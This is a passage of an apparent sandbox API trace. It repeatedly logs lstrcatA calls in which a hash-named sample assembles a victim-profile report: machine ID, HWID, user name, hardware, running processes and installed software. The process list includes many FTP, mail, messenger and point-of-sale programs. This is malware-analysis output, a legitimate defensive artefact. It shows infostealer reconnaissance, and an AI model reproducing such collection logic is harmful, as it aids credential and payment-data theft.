12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030"
[0054.977] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]"
[0054.977] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- 